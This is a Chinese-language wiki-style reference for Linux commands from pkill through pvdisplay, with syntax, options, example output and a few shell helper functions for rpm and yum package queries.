* [[xfs_quota]] (8)        - manage use of quota on XFS filesystems
* [[xfs_repair]] (8)       - repair an XFS filesystem
* [[xfs_rtcp]] (8)         - XFS realtime copy command
</pre>
* 命令
:<div>

|[[last]] (1)            |show listing of last logged in users|
|[[lastb]] (1)           |show listing of last logged in users|
|[[mesg]] (1)            |control write access to your terminal|
|[[wall]] (1)            |send a message to everybody's terminal.|
|[[killall5]] (8)        |send a signal to all processes.|
|[[pidof]] (8)           |find the process ID of a running program.|

</div>
!!简介
:<div>
pkill
===

可以按照进程名杀死进程

</div>

!! 补充说明

:<div>


"pkill命令" 可以按照进程名杀死进程。pkill和killall应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill来杀掉。

</div>

!! 语法  

:<div>


```
pkill(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-o:仅向找到的最小(起始)进程号发送信号;
-n:仅向找到的最大(结束)进程号发送信号;
-P:指定父进程号发送信号;
-g:指定进程组;
-t:指定开启进程的终端。
```

</div>

!! 参数  

:<div>


进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。

</div>

!! 实例  

:<div>


```
pgrep -l gaim
2979 gaim

pkill gaim
```

也就是说:kill对应的是PID,pkill对应的是command。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pmap
===

报告进程的内存映射关系

</div>

!! 补充说明

:<div>


"pmap命令" 用于报告进程的内存映射关系,是Linux调试及运维一个很好的工具。

</div>

!! 语法  

:<div>


```
pmap(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-x:显示扩展格式;
-d:显示设备格式;
-q:不显示头尾行;
-V:显示指定版本。
```

</div>

!! 参数  

:<div>


进程号:指定需要显示内存映射关系的进程号,可以是多个进程号。

</div>

!! 实例  

:<div>


```
pidof nginx
13312 5371

pmap -x 5371
5371:   nginx: worker process                
Address           Kbytes     RSS   Dirty Mode   Mapping
0000000000400000     564     344       0 r-x--  nginx
000000000068c000      68      68      60 rw---  nginx
000000000069d000      56      12      12 rw---    [ anon ]
000000000a0c8000    1812    1684    1684 rw---    [ anon ]
0000003ac0a00000     112      40       0 r-x--  ld-2.5.so
0000003ac0c1c000       4       4       4 r----  ld-2.5.so
0000003ac0c1d000       4       4       4 rw---  ld-2.5.so
0000003ac0e00000    1340     284       0 r-x--  libc-2.5.so
0000003ac0f4f000    2044       0       0 -----  libc-2.5.so
0000003ac114e000      16      16       8 r----  libc-2.5.so
0000003ac1152000       4       4       4 rw---  libc-2.5.so
0000003ac1153000      20      20      20 rw---    [ anon ]
0000003ac1200000       8       4       0 r-x--  libdl-2.5.so
0000003ac1202000    2048       0       0 -----  libdl-2.5.so
0000003ac1402000       4       4       4 r----  libdl-2.5.so
0000003ac1403000       4       4       4 rw---  libdl-2.5.so
0000003ac1600000      84       0       0 r-x--  libselinux.so.1
0000003ac1615000    2048       0       0 -----  libselinux.so.1
0000003ac1815000       8       8       8 rw---  libselinux.so.1
0000003ac1817000       4       4       4 rw---    [ anon ]
0000003ac1a00000     236       0       0 r-x--  libsepol.so.1
0000003ac1a3b000    2048       0       0 -----  libsepol.so.1
0000003ac1c3b000       4       4       4 rw---  libsepol.so.1
0000003ac1c3c000      40       0       0 rw---    [ anon ]
0000003ac1e00000      88      44       0 r-x--  libpthread-2.5.so
0000003ac1e16000    2048       0       0 -----  libpthread-2.5.so
0000003ac2016000       4       4       4 r----  libpthread-2.5.so
0000003ac2017000       4       4       4 rw---  libpthread-2.5.so
0000003ac2018000      16       4       4 rw---    [ anon ]
0000003ac2600000      80      52       0 r-x--  libz.so.1.2.3
0000003ac2614000    2044       0       0 -----  libz.so.1.2.3
0000003ac2813000       4       4       4 rw---  libz.so.1.2.3
0000003ac2a00000      36       4       0 r-x--  libcrypt-2.5.so
0000003ac2a09000    2044       0       0 -----  libcrypt-2.5.so
0000003ac2c08000       4       4       4 r----  libcrypt-2.5.so
0000003ac2c09000       4       4       4 rw---  libcrypt-2.5.so
0000003ac2c0a000     184       0       0 rw---    [ anon ]
0000003ac3600000       8       0       0 r-x--  libkeyutils-1.2.so
0000003ac3602000    2044       0       0 -----  libkeyutils-1.2.so
0000003ac3801000       4       4       4 rw---  libkeyutils-1.2.so
0000003ac3a00000      68       0       0 r-x--  libresolv-2.5.so
0000003ac3a11000    2048       0       0 -----  libresolv-2.5.so
0000003ac3c11000       4       4       4 r----  libresolv-2.5.so
0000003ac3c12000       4       4       4 rw---  libresolv-2.5.so
0000003ac3c13000       8       0       0 rw---    [ anon ]
0000003ac3e00000       8       0       0 r-x--  libcom_err.so.2.1
0000003ac3e02000    2044       0       0 -----  libcom_err.so.2.1
0000003ac4001000       4       4       4 rw---  libcom_err.so.2.1
0000003ac4200000    1204       8       0 r-x--  libcrypto.so.0.9.8e
0000003ac432d000    2044       0       0 -----  libcrypto.so.0.9.8e
0000003ac452c000     132      88      12 rw---  libcrypto.so.0.9.8e
0000003ac454d000      16      12      12 rw---    [ anon ]
0000003ac4600000     176       0       0 r-x--  libgssapi_krb5.so.2.2
0000003ac462c000    2048       0       0 -----  libgssapi_krb5.so.2.2
0000003ac482c000       8       8       8 rw---  libgssapi_krb5.so.2.2
0000003ac4a00000     144       0       0 r-x--  libk5crypto.so.3.1
0000003ac4a24000    2044       0       0 -----  libk5crypto.so.3.1
0000003ac4c23000       8       8       8 rw---  libk5crypto.so.3.1
0000003ac4e00000      32       0       0 r-x--  libkrb5support.so.0.1
0000003ac4e08000    2044       0       0 -----  libkrb5support.so.0.1
0000003ac5007000       4       4       4 rw---  libkrb5support.so.0.1
0000003ac5200000     580       0       0 r-x--  libkrb5.so.3.3
0000003ac5291000    2048       0       0 -----  libkrb5.so.3.3
0000003ac5491000      16      16      12 rw---  libkrb5.so.3.3
0000003ac5a00000     288       4       0 r-x--  libssl.so.0.9.8e
0000003ac5a48000    2048       0       0 -----  libssl.so.0.9.8e
0000003ac5c48000      24      16      12 rw---  libssl.so.0.9.8e
00002b5751808000       8       8       8 rw---    [ anon ]
00002b5751810000     108      36       0 r-x--  libpcre.so.1.2.0
00002b575182b000    2044       0       0 -----  libpcre.so.1.2.0
00002b5751a2a000       4       4       4 rw---  libpcre.so.1.2.0
00002b5751a2b000      28      28      28 rw---    [ anon ]
00002b5751a32000      40      20       0 r-x--  libnss_files-2.5.so
00002b5751a3c000    2044       0       0 -----  libnss_files-2.5.so
00002b5751c3b000       4       4       4 r----  libnss_files-2.5.so
00002b5751c3c000       4       4       4 rw---  libnss_files-2.5.so
00002b5751c3d000       4       4       4 rw-s-  zero (deleted)
00002b5751c3e000   20012   20000   20000 rw---    [ anon ]
00007fffbf2ce000      84      20      20 rw---    [ stack ]
00007fffbf35e000      12       0       0 r-x--    [ anon ]
ffffffffff600000    8192       0       0 -----    [ anon ]
----------------  ------  ------  ------
total kB           72880   22940   22000
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
popd
===

用于删除目录栈中的记录

</div>

!! 补充说明

:<div>


"popd命令" 用于删除目录栈中的记录;如果popd命令不加任何参数,则会先删除目录栈最上面的记录,然后切换到删除过后的目录栈中的最上面的目录。

</div>

!! 语法  

:<div>


```
pushd(选项)(参数)
```

</div>

!! 选项  

:<div>


```
+N:将第N个目录删除(从左边数起,数字从0开始);
-N:将第N个目录删除(从右边数起,数字从0开始);
-n:将目录出栈时,不切换目录。
```

</div>

!! 实例  

:<div>


```
root@Mylinux:/tmp/dir4# popd(相当于popd +0)
/tmp/dir3 /tmp/dir2 /tmp/dir1 ~

root@Mylinux:/tmp/dir3# pushd /tmp/dir4
/tmp/dir4 /tmp/dir3 /tmp/dir2 /tmp/dir1 ~

root@Mylinux:/tmp/dir4# popd +1
/tmp/dir4 /tmp/dir2 /tmp/dir1 ~

root@Mylinux:/tmp/dir4# popd -2
/tmp/dir4 /tmp/dir1 ~
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```
poweroff [OPTIONS...]

Power off the system.

     --help      Show this help
     --halt      Halt the machine
  -p --poweroff  Switch off the machine
     --reboot    Reboot the machine
  -f --force     Force immediate halt/power-off/reboot
  -w --wtmp-only Don't halt/power-off/reboot, just write wtmp record
  -d --no-wtmp   Don't write wtmp record
     --no-wall   Don't send wall message before halt/power-off/reboot
```
!!简介
:<div>
ppp-off
===

关闭ppp连线

</div>

!! 补充说明

:<div>


这是Slackware发行版内附的程序,让用户切断PPP的网络连线。

</div>

!! 语法  

:<div>


```
ppp-off
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pr
===

将文本文件转换成适合打印的格式

</div>

!! 补充说明

:<div>


"pr命令" 用来将文本文件转换成适合打印的格式,它可以把较大的文件分割成多个页面进行打印,并为每个页面添加标题。

</div>

!! 语法  

:<div>


```
pr(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-h<标题>:为页指定标题;
-l<行数>:指定每页的行数。
```

</div>

!! 参数  

:<div>


文件:需要转换格式的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
printf
===

格式化并输出结果

</div>

!! 补充说明

:<div>


"printf命令" 格式化并输出结果到标准输出。

</div>

!! 语法  

:<div>


```
printf(选项)(参数)
--help:在线帮助;
--version:显示版本信息。
```

</div>

!! 参数  

:<div>


*   输出格式:指定数据输出时的格式;
*   输出字符串:指定要输出的数据。

 "格式替代符" 

*   %b 相对应的参数被视为含有要被处理的转义序列之字符串。
*   %c ASCII字符。显示相对应参数的第一个字符
*   %d, %i 十进制整数
*   %e, %E, %f 浮点格式
*   %g %e或%f转换,看哪一个较短,则删除结尾的零
*   %G %E或%f转换,看哪一个较短,则删除结尾的零
*   %o 不带正负号的八进制值
*   %s 字符串
*   %u 不带正负号的十进制值
*   %x 不带正负号的十六进制值,使用a至f表示10至15
*   %X 不带正负号的十六进制值,使用A至F表示10至15
*   %% 字面意义的%

 "转义序列" 

*   \a 警告字符,通常为ASCII的BEL字符
*   \b 后退
*   \c 抑制(不显示)输出结果中任何结尾的换行字符(只在%b格式指示符控制下的参数字符串中有效),而且,任何留在参数里的字符、任何接下来的参数以及任何留在格式字符串中的字符,都被忽略
*   \f 换页(formfeed)
*   \n 换行
*   \r 回车(Carriage return)
*   \t 水平制表符
*   \v 垂直制表符
*   \\ 一个字面上的反斜杠字符
*   \ddd 表示1到3位数八进制值的字符,仅在格式字符串中有效
*   \0ddd 表示1到3位的八进制值字符

</div>

!! 实例  

:<div>


```
printf "hello world"

```

```
#!/bin/bash

printf "%-5s %-10s %-4s\n" NO Name Mark
printf "%-5s %-10s %-4.2f\n" 01 Tom 90.3456
printf "%-5s %-10s %-4.2f\n" 02 Jack 89.2345
printf "%-5s %-10s %-4.2f\n" 03 Jeff 98.4323

```

*   %-5s 格式为左对齐且宽度为5的字符串代替(-表示左对齐),不使用则是又对齐。
*   %-4.2f 格式为左对齐宽度为4,保留两位小数。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```bash
#查询已安装命令的包名
function qc()
{
    which $1 | xargs rpm -qf
}

#查询已安装命令的软件包所包含的所有命令
function qca()
{
    which $1 | xargs rpm -qf| xargs rpm -ql {}| grep bin
}

##查询已安装命令的软件包所包含的所有命令的简介
# 并格式化
function qw()
{
    qc $1
    qca $1| xargs whatis|sed 's/\(\<[0-9a-z._-]*\>\)/[[\1]]/' | sed 's/^/* /'
}

# 从yum源查询命令的安装包
function qcp()
{
    yum provides $1
}

#下载软件包源码
function qd()
{
    pkg=`qc $1`
    if [ $? != 0 ];then return 1;fi
    mkdir -p ~/source/${pkg}
    cd ~/source/${pkg}
    yumdownloader --source ${pkg}
    pwd
    rpm_file=`ls | grep src.rpm`
    tar_file=$(rpm -qpl ${rpm_file} | grep tar|egrep -v 'sig$')
    
    rpm2cpio ${rpm_file} | cpio -idv ${tar_file}
    
    tar -xvf  ${tar_file}

    rm -f ${tar_file}
    rm -f ${rpm_file}
}
```
!!简介
:<div>
protoize
===

GNU-C代码转换为ANSI-C代码

</div>

!! 补充说明

:<div>


"protoize命令" 属于gcc套件,用于为C语言源代码文件添加函数原型,将GNU-C代码转换为ANSI-C代码。

</div>

!! 语法  

:<div>


```
protoize(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-d:设置需要转换代码的目录;
-x:转换代码时排除的文件。
```

</div>

!! 参数  

:<div>


文件:需要转换代码的C语言源文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```bash
# To list every process on the system:
ps aux

# To list a process tree
ps axjf

# To list every process owned by foouser:
ps -aufoouser

# To list every process with a user-defined format:
ps -eo pid,user,command

# Exclude grep from your grepped output of ps.
# Add [] to the first letter. Ex: sshd -> [s]shd
ps aux | grep '[h]ttpd'

#查看进程完整路径
#/proc/${pid}/进程的详细信息
function pid-path(){
    for p in `ps -aux|grep $1|awk '{print $2}'`;do
        ll /proc/${p}/exe
    done
}
```
!!简介
:<div>
pssh
===

批量管理执行

</div>

!! 补充说明

:<div>


"pssh命令" 是一个python编写可以在多台服务器上执行命令的工具,同时支持拷贝文件,是同类工具中很出色的,类似pdsh,个人认为相对pdsh更为简便,使用必须在各个服务器上配置好密钥认证访问。

</div>

!! 安装pssh  

:<div>


在CentOS系统环境下,介绍yum的安装和源码安装的方式:

 "yum方法" 

```
yum install pssh
```

 "编译安装" 

```
wget http://parallel-ssh.googlecode.com/files/pssh-2.3.1.tar.gz
tar xf pssh-2.3.1.tar.gz
cd pssh-2.3.1/
python setup.py install
```

</div>

!! 选项  

:<div>


```
--version:查看版本
--help:查看帮助,即此信息
-h:主机文件列表,内容格式”[user@]host[:port]”
-H:主机字符串,内容格式”[user@]host[:port]”
-:登录使用的用户名
-p:并发的线程数【可选】
-o:输出的文件目录【可选】
-e:错误输入文件【可选】
-t:TIMEOUT 超时时间设置,0无限制【可选】
-O:SSH的选项
-v:详细模式
-A:手动输入密码模式
-x:额外的命令行参数使用空白符号,引号,反斜线处理
-X:额外的命令行参数,单个参数模式,同-x
-i:每个服务器内部处理信息输出
-P:打印出服务器返回信息
```

</div>

!! 实例  

:<div>


获取每台服务器的uptime:

```
# pssh -h ip.txt -i uptime
[1] 11:15:03 [SUCCESS] Mar.mars.he
11:15:11 up 4 days, 16:25,  1 user,  load average: 0.00, 0.00, 0.00
[2] 11:15:03 [SUCCESS] Jan.mars.he
11:15:12 up 3 days, 23:26,  0 users,  load average: 0.00, 0.00, 0.00
[3] 11:15:03 [SUCCESS] Feb.mars.he
11:15:12 up 4 days, 16:26,  2 users,  load average: 0.08, 0.02, 0.01
```

查看每台服务器上mysql复制IO/SQL线程运行状态信息:

```
# pssh -h IP.txt -i "/usr/local/mysql/bin/mysql -e 'show slave status \G'"|grep Running:
             Slave_IO_Running: yes
            Slave_SQL_Running: Yes
             Slave_IO_Running: Yes
            Slave_SQL_Running: Yes
             Slave_IO_Running: Yes
            Slave_SQL_Running: Yes
```

保存每台服务器运行的结果:

```
# pssh -h IP.txt -i -o /tmp/pssh/ uptime
[1] 11:19:47 [SUCCESS] Feb.mars.he
11:19:55 up 4 days, 16:31,  2 users,  load average: 0.02, 0.03, 0.00
[2] 11:19:47 [SUCCESS] Jan.mars.he
11:19:56 up 3 days, 23:30,  0 users,  load average: 0.01, 0.00, 0.00
[3] 11:19:47 [SUCCESS] Mar.mars.he
11:19:56 up 4 days, 16:30,  1 user,  load average: 0.00, 0.00, 0.00
```

我们来看一下/tmp/pssh/下的文件及其内容

```
# ll /tmp/pssh/
总用量 12
-rw-r--r--. 1 root root 70 12月  1 11:19 Feb.mars.he
-rw-r--r--. 1 root root 70 12月  1 11:19 Jan.mars.he
-rw-r--r--. 1 root root 69 12月  1 11:19 Mar.mars.he

# cat /tmp/pssh/*
11:19:55 up 4 days, 16:31,  2 users,  load average: 0.02, 0.03, 0.00
11:19:56 up 3 days, 23:30,  0 users,  load average: 0.01, 0.00, 0.00
11:19:56 up 4 days, 16:30,  1 user,  load average: 0.00, 0.00, 0.00
```

上面介绍的是pssh命令很少的一部分,大家可以将其用到适合自己的场景,发挥它的最大功效。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pstack
===

显示每个进程的栈跟踪

</div>

!! 补充说明

:<div>


"pstack命令" 可显示每个进程的栈跟踪。<kbd>pstack</kbd> 命令必须由相应进程的属主或 <tt>root</tt> 运行。可以使用 <kbd>pstack</kbd> 来确定进程挂起的位置。此命令允许使用的唯一选项是要检查的进程的 <tt>PID</tt>。

命令软件包下载地址:https://packages.debian.org/sid/pstack

</div>

!! 实例  

:<div>


pstree以树结构显示进程

```
pstree -p work | grep ad
sshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552)
                                                |-{ad_preprocess}(4553)
                                                |-{ad_preprocess}(4554)
                                                |-{ad_preprocess}(4555)
                                                |-{ad_preprocess}(4556)
                                                `-{ad_preprocess}(4557)
```

work为工作用户,-p为显示进程识别码,ad_preprocess共启动了6个子线程,加上主线程共7个线程。

```
ps -Lf 4551
UID        PID  PPID   LWP  C NLWP STIME TTY      stat   time CMD
work      4551 22670  4551  2    7 16:30 pts/2    Sl+    0:02 ./ad_preprocess
work      4551 22670  4552  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
work      4551 22670  4553  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
work      4551 22670  4554  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
work      4551 22670  4555  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
work      4551 22670  4556  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
work      4551 22670  4557  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
```

进程共启动了7个线程

pstack显示每个进程的栈跟踪:

```
pstack 4551
Thread 7 (Thread 1084229984 (LWP 4552)):
#0  0x000000302afc63dc in epoll_wait () from /lib64/tls/libc.so.6
#1  0x00000000006f0730 in ub::EPollEx::poll ()
#2  0x00000000006f172a in ub::NetReactor::callback ()
#3  0x00000000006fbbbb in ub::UBTask::CALLBACK ()
#4  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#5  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#6  0x0000000000000000 in ?? ()
Thread 6 (Thread 1094719840 (LWP 4553)):
#0  0x000000302afc63dc in epoll_wait () from /lib64/tls/libc.so.6
#1  0x00000000006f0730 in ub::EPollEx::poll ()
#2  0x00000000006f172a in ub::NetReactor::callback ()
#3  0x00000000006fbbbb in ub::UBTask::CALLBACK ()
#4  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#5  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#6  0x0000000000000000 in ?? ()
Thread 5 (Thread 1105209696 (LWP 4554)):
#0  0x000000302b80baa5 in __nanosleep_nocancel ()
#1  0x000000000079e758 in comcm::ms_sleep ()
#2  0x00000000006c8581 in ub::UbClientManager::healthyCheck ()
#3  0x00000000006c8471 in ub::UbClientManager::start_healthy_check ()
#4  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#5  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#6  0x0000000000000000 in ?? ()
Thread 4 (Thread 1115699552 (LWP 4555)):
#0  0x000000302b80baa5 in __nanosleep_nocancel ()
#1  0x0000000000482b0e in armor::armor_check_thread ()
#2  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#3  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#4  0x0000000000000000 in ?? ()
Thread 3 (Thread 1126189408 (LWP 4556)):
#0  0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6
#1  0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6
#2  0x000000000044c972 in Business_config_manager::run ()
#3  0x0000000000457b83 in Thread::run_thread ()
#4  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#5  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#6  0x0000000000000000 in ?? ()
Thread 2 (Thread 1136679264 (LWP 4557)):
#0  0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6
#1  0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6
#2  0x00000000004524bb in Process_thread::sleep_period ()
#3  0x0000000000452641 in Process_thread::run ()
#4  0x0000000000457b83 in Thread::run_thread ()
#5  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#6  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#7  0x0000000000000000 in ?? ()
Thread 1 (Thread 182894129792 (LWP 4551)):
#0  0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6
#1  0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6
#2  0x0000000000420d79 in Ad_preprocess::run ()
#3  0x0000000000450ad0 in main ()
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!! 说明
:<div>

;以树状图的方式展现进程之间的派生关系

"pstree命令" 以树状图的方式展现进程之间的派生关系,显示效果比较直观。

</div>
!! 语法  
:<div>

```
pstree(选项)
```

</div>
!! 选项  
:<div>

```
-a:显示每个程序的完整指令,包含路径,参数或是常驻服务的标示;
-c:不使用精简标示法;
-G:使用VT100终端机的列绘图字符;
-h:列出树状图时,特别标明现在执行的程序;
-H<程序识别码>:此参数的效果和指定"-h"参数类似,但特别标明指定的程序;
-l:采用长列格式显示树状图;
-n:用程序识别码排序。预设是以程序名称来排序;
-p:显示程序识别码;
-u:显示用户名称;
-U:使用UTF-8列绘图字符;
-V:显示版本信息。
```

</div>
!! 实例  
:<div>

显示当前所有进程的进程号和进程id

```
pstree -p
```

显示所有进程的所有详细信息,遇到相同的进程名可以压缩显示。

```bash
pstree  -a
```

获取 SSH 会话的 PID

```
pstree -p | grep ssh

#  |-sshd(1221)-+-sshd(2768)---bash(2770)-+-grep(2810)
#  |            `-sshd(2807)---sshd(2808)
```

从上方的输出中,你可以看到 sshd 进程与分支的树形图。

sshd 的主进程是 sshd(1221),另两个分支分别为 sshd(2768) 和 sshd(2807)。
</div>


!!简介
:<div>
pushd
===

将目录加入命令堆叠中

</div>

!! 补充说明

:<div>


"pushd命令" 是将目录加入命令堆叠中。如果指令没有指定目录名称,则会将当前的工作目录置入目录堆叠的最顶端。置入目录如果没有指定堆叠的位置,也会置入目录堆叠的最顶端,同时工作目录会自动切换到目录堆叠最顶端的目录去。

</div>

!! 语法  

:<div>


```
pushd(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-n:只加入目录到堆叠中,不进行cd操作;
+n:删除从左到右的第n个目录,数字从0开始;
-n:删除从右到左的第n个目录,数字从0开始;
```

</div>

!! 参数  

:<div>


目录:需要压入堆栈的目录。

</div>

!! 实例  

:<div>


```
root@Mylinux:/tmp/dir4# pushd /tmp/dir3
/tmp/dir3 /tmp/dir4 /tmp/dir1 ~

root@Mylinux:/tmp/dir3# pushd /tmp/dir2
/tmp/dir2 /tmp/dir3 /tmp/dir4 /tmp/dir1 ~

root@Mylinux:/tmp/dir2# pushd -1
/tmp/dir1 ~ /tmp/dir2 /tmp/dir3 /tmp/dir4
```

注意:最左边表示栈顶,最右边表示栈底。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pv
===

显示当前在命令行执行的命令的进度信息,管道查看器。

</div>

!! 补充说明

:<div>


"pv命令"  Pipe Viewer 的简称,由Andrew Wood 开发。意思是通过管道显示数据处理进度的信息。这些信息包括已经耗费的时间,完成的百分比(通过进度条显示),当前的速度,全部传输的数据,以及估计剩余的时间。

</div>

!! 下载安装

:<div>


```bash
# Debian 系的操作系统,如 Ubuntu
sudo apt-get install pv

# RedHat系的则这样:
yum install pv
```

</div>

!! 语法  

:<div>


```bash
pv(选项)(参数)
pv [OPTION] [FILE]...
```

</div>

!! 选项  

:<div>


```
-p, --progress           show progress bar
-t, --timer              show elapsed time
-e, --eta                show estimated time of arrival (completion)
-I, --fineta             show absolute estimated time of arrival
                         (completion)
-r, --rate               show data transfer rate counter
-a, --average-rate       show data transfer average rate counter
-b, --bytes              show number of bytes transferred
-T, --buffer-percent     show percentage of transfer buffer in use
-A, --last-written NUM   show NUM bytes last written
-F, --format FORMAT      set output format to FORMAT
-n, --numeric            输出百分比
-q, --quiet              do not output any transfer information at all

-W, --wait               display nothing until first byte transferred
-D, --delay-start SEC    display nothing until SEC seconds have passed
-s, --size SIZE          set estimated data size to SIZE bytes
-l, --line-mode          count lines instead of bytes
-0, --null               lines are null-terminated
-i, --interval SEC       update every SEC seconds
-w, --width WIDTH        assume terminal is WIDTH characters wide
-H, --height HEIGHT      assume terminal is HEIGHT rows high
-N, --name NAME          prefix visual information with NAME
-f, --force              output even if standard error is not a terminal
-c, --cursor             use cursor positioning escape sequences

-L, --rate-limit RATE    limit transfer to RATE bytes per second
-B, --buffer-size BYTES  use a buffer size of BYTES
-C, --no-splice          never use splice(), always use read/write
-E, --skip-errors        skip read errors in input
-S, --stop-at-size       stop after --size bytes have been transferred
-R, --remote PID         update settings of process PID

-P, --pidfile FILE       save process ID in FILE

-d, --watchfd PID[:FD]   watch file FD opened by process PID

-h, --help               显示帮助
-V, --version            显示版本信息
```


</div>

!! 实例  

:<div>


我们(在 linux 上使用命令行的用户)的大多数使用场景都会用到的命令是从一个 USB 驱动器拷贝电影文件到你的电脑。如果你使用 cp 来完成上面的任务,你会什么情况都不清楚,直到整个复制过程结束或者出错。

```bash
# 复制文件会有进度
linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/CentOS-7-x86_64-Minimal-1511.iso
# 下面输入信息
552MiB 0:00:02 [ 212MiB/s] [==================>           ] 91% ETA 0:00:00

# -L 可以让你修改 pv 命令的传输速率。
# 使用 -L 选项来限制传输速率为2MB/s。
pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv 
```


```bash
# 字符一个个匀速在命令行中显示出来
echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10

# 压缩文件展示进度信息
pv /media/himanshu/1AC2-A8E3/fnf.mkv | gzip > ./Desktop/fnf.log.gz 


# 用 dd 命令将 iso 写入磁盘,pv来实现进度条的显示
sudo pv -cN source < /Users/kacperwang/Downloads/CentOS-7-x86_64-Everything-1511.iso | sudo dd of=/dev/disk2 bs=4m
</div>

!! 显示下面进度

:<div>

source:  5.2GiB 5:11:41 [ 503KiB/s] [=====================>       ] 71% ETA 2:01:56
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pvchange
===

修改物理卷属性

</div>

!! 补充说明

:<div>


"pvchange命令" 允许管理员改变物理卷的分配许可。如果物理卷出现故障,可以使用pvchange命令禁止分配物理卷上的PE。

</div>

!! 语法  

:<div>


```
pvchange(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-u:生成新的UUID;
-x:是否允许分配PE。
```

</div>

!! 参数  

:<div>


物理卷:指定要修改属性的物理卷所对应的设备文件。

</div>

!! 实例  

:<div>


使用pvchange命令禁止分配指定物理卷上的PE。在命令行中输入下面的命令:

```
pvchange -x n /dev/sdb1     #禁止分配"/dev/sdb1"上的PE
```

输出信息如下:

```
Physical volume "/dev/sdb1" changed  
1 physical volume changed / 0 physical volumes not changed
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pvck
===

检测物理卷的LVM元数据的一致性

</div>

!! 补充说明

:<div>


"pvck命令" 用来检测物理卷的LVM元数据的一致性。默认情况下,物理卷中的前4个扇区保存着LVM卷标,可以使用`--labelsector`选项指定其他的位置(例如:数据恢复时)。

</div>

!! 语法  

:<div>


```
pvck(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-d:调试模式;
-v:详细信息模式;
--labelsector:指定LVE卷标所在扇区。
```

</div>

!! 参数  

:<div>


物理卷:指定要检查的物理卷对应的设备文件。

</div>

!! 实例  

:<div>


使用pvck命令检查物理卷`/dev/sdb1`。在命令行中输入下面的命令:

```
pvck -v /dev/sdb1    #检查物理卷元数据
Scanning /dev/sdb1  
Found label on /dev/sdb1, sector 1, type=LVM2 001  
Found text metadata area: offset=4096, size=192512 
Found LVM2 metadata record at offset=125952,  
size=70656, offset2=0 size2=0
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''pvcreate''命令用于将物理硬盘分区初始化为物理卷,以便LVM使用。

! 选项
```
    -f:强制创建物理卷,不需要用户确认;
    -u:指定设备的UUID;
    -y:所有的问题都回答“yes”;
    -Z:是否利用前4个扇区。
```


```
dd if=/dev/zero of=partfile01 bs=1M count=1024
dd if=/dev/zero of=partfile02 bs=1M count=1024
dd if=/dev/zero of=partfile03 bs=1M count=1024
dd if=/dev/zero of=partfile04 bs=1M count=1024
dd if=/dev/zero of=partfile05 bs=1M count=1024

losetup /dev/loop1 ./partfile01
losetup /dev/loop2 ./partfile02
losetup /dev/loop3 ./partfile03
losetup /dev/loop4 ./partfile04
losetup /dev/loop5 ./partfile05

pvcreate /dev/loop1
pvcreate /dev/loop2
pvcreate /dev/loop3
pvcreate /dev/loop4
pvcreate /dev/loop5
```
!!简介
:<div>
pvdisplay
===

显示物理卷的属性

</div>

!! 补充说明

:<div>


"pvdisplay命令" 用于显示物理卷的属性。pvdisplay命令显示的物理卷信息包括:物理卷名称、所属的卷组、物理卷大小、PE大小、总PE数、可用PE数、已分配的PE数和UUID。

</div>

!! 语法  

:<div>


```
